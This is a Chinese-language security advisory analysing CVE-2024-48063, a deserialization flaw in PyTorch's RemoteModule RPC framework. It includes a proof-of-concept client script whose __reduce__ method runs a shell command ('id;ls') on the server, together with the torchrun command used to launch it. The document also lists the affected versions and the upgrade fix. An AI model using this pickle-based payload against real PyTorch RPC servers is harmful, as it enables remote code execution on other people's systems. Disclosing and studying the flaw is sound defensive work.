PyTorch 高危反序列化漏洞CVE-2024-48063分析

PyTorch是由Facebook的人工智能研究小组（FAIR）开发的，它最初是从Torch发展而来，Torch是一个使用Lua语言编写的科学计算框架。

一、基本情况

PyTorch是一款广泛用于机器学习和深度学习的开源深度学习框架，作为Torch框架的继承者，以其卓越的灵活性和对动态图的支持而闻名。

PyTorch是用Python语言实现的，分为前后端两个部分，前端是与用户直接交互的python API，后端是框架内部实现部分，包括Autograd。

PyTorch的设计哲学是提供灵活性和速度，通过动态计算图（又称autograd系统）特性，让研究人员轻松构建和修改复杂的深度学习模型。

栋科技漏洞库关注到PyTorch中用于实现分布式服务的模块RemoteModule中存在的一个反序列化漏洞，该漏洞被追踪为CVE-2024-48063。

二、漏洞分析

CVE-2024-48063漏洞是由于在受影响版本中的PyTorch RemoteModule默认缺少鉴权机制，存在反序列化漏洞，漏洞CVSS3.1评分为9.8。

RemoteModule是PyTorch中以实现分布式RPC框架服务的模块，由于RemoteModule在反序列化过程中没有适当地验证或清理输入数据，

这导致攻击者能够通过客户端将包含恶意方法的RemoteModule实例序列化为数据并通过RPC框架发送到服务器，从而形成反序列化漏洞。

攻击者利用该反序列化漏洞并利用RPC机制向服务端部署模型调用模块，从而远程执行任意代码，也可能利用该漏洞干扰分布式训练集群。

POC验证

1、客户端代码为exp

cli.py

import torch
import torch.distributed.rpc as rpc
from torch.distributed.nn.api.remote_module import RemoteModule
import torch.nn as nn

# Define a simple neural network model MyModel
class MyModel(nn.Module):
    def __init__(self):
        super(MyModel, self).__init__()
        # A simple linear layer with input dimension 2 and output dimension 2
        self.fc = nn.Linear(2, 2)

    # Define the forward method
    def __reduce__(self):
        return (__import__('os').system, ("id;ls",))

def run_client():
    # Initialize client-side RPC
    rpc.init_rpc("client", rank=1, world_size=2)

    # Create a remote module to run the model on the server side
    remote_model = RemoteModule(
        "server",  # Server-side device
        MyModel(),   # Definition of the remote module's model
        args=()    # Model initialization parameters
    )

    # Remotely call the model with an input tensor
    input_tensor = torch.tensor([1.0, 2.0])
    output = remote_model(input_tensor)

    print("Output from remote model:", output)

    # Shutdown RPC
    rpc.shutdown()

if __name__ == "__main__":
    run_client()

2、执行此命令以运行

torchrun --nproc_per_node=1 --nnodes=2 --node_rank=1 --master_addr=127.0.0.1 --master_port=5000 cli.py

3、服务器输出结果

三、影响范围

PyTorch <= 2.4.1

四、修复建议

目前该漏洞已经修复，受影响用户可升级到以下版本：

PyTorch > 2.4.1

五、参考链接

https://avd.aliyun.com/detail?id=AVD-2024-48063

https://github.com/pytorch/pytorch/issues/129228